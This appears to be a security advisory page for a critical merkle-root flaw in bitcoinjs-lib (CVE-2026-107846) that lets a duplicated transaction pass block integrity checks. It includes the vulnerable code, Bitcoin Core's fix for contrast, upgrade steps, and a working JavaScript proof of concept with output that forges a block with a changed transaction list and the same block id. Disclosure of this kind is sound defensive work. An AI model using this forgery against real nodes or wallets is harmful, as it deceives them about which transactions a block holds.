bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list
CVE-2026-107846 · GHSA-8vv3-6qpc-gpw6 · published 10 Nov 2026
How serious is it
- Severity: critical, CVSS score 9.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-107846?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
bitcoinjs-lib(npm) >= 2.3.0, < 5.2.1bitcoinjs-lib(npm) >= 6.0.0, < 6.1.8bitcoinjs-lib(npm) >= 7.0.0-rc.0, < 7.0.2
How to check
- Run
npm ls bitcoinjs-libin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On >= 2.3.0, < 5.2.1: Upgrade
bitcoinjs-libto 5.2.1 or later, commit the lockfile and redeploy. - On >= 6.0.0, < 6.1.8: Upgrade
bitcoinjs-libto 6.1.8 or later, commit the lockfile and redeploy. - On >= 7.0.0-rc.0, < 7.0.2: Upgrade
bitcoinjs-libto 7.0.2 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
`fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459.
### Details
A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`.
```cpp
uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
bool mutation = false;
while (hashes.size() > 1) {
if (mutated) {
for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
if (hashes[pos] == hashes[pos + 1]) mutation = true;
}
}
if (hashes.size() & 1) {
hashes.push_back(hashes.back());
}
...
```
The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.
`fastMerkleRoot` performs the duplication and reports nothing.
```js
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
const data = tools.concat([left, right]);
results[j] = digestFn(data);
}
length = j;
}
return results[0];
```
`Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field.
```js
private __checkMerkleRoot(): boolean {
if (!this.transactions) throw errorMerkleNoTxes;
const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}
```
Nothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library's advertised block integrity gate and it inherits the gap.
### PoC
```js
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');
// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.
const f = JSON.parse(fs.readFileSync(
'test/fixtures/core/blocks.json', 'utf8'))[0];
const honest = Block.fromHex(f.hex);
console.log('honest block id :', honest.getId());
console.log('id matches fixture :', honest.getId() === f.id);
console.log('transactions :', honest.transactions.length);
console.log('merkle root :', hex(honest.merkleRoot));
console.log('checkTxRoots() :', honest.checkTxRoots());
console.log('serialized bytes :', honest.toBuffer().length);
// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());
console.log('');
console.log('forged block id :', parsed.getId());
console.log('transactions :', parsed.transactions.length);
console.log('merkle root :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots() :', parsed.checkTxRoots());
console.log('serialized bytes :', parsed.toBuffer().length);
const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id :', honest.getId() === parsed.getId());
console.log('different serialized bytes :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());
```
Output on bitcoinjs-lib v7.0.1:
```
honest block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
id matches fixture : true
transactions : 9
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3054
forged block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
transactions : 10
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3313
same block id : true
different serialized bytes : true
different transaction lists : true
duplicate txid inside forged : true
both accepted by checkTxRoots : true
```
The honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.
### Impact
Most real blocks reach an odd node count at some…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6
- nvd.nist.gov/vuln/detail/CVE-2026-107846
- github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449
- github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0
- github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1
- github.com/advisories/GHSA-8vv3-6qpc-gpw6
- github.com/bitcoinjs/bitcoinjs-lib
Merged from GitHub Advisory Database, OSV. Last updated 13 Nov 2026. All vulnerabilities · RSS · JSON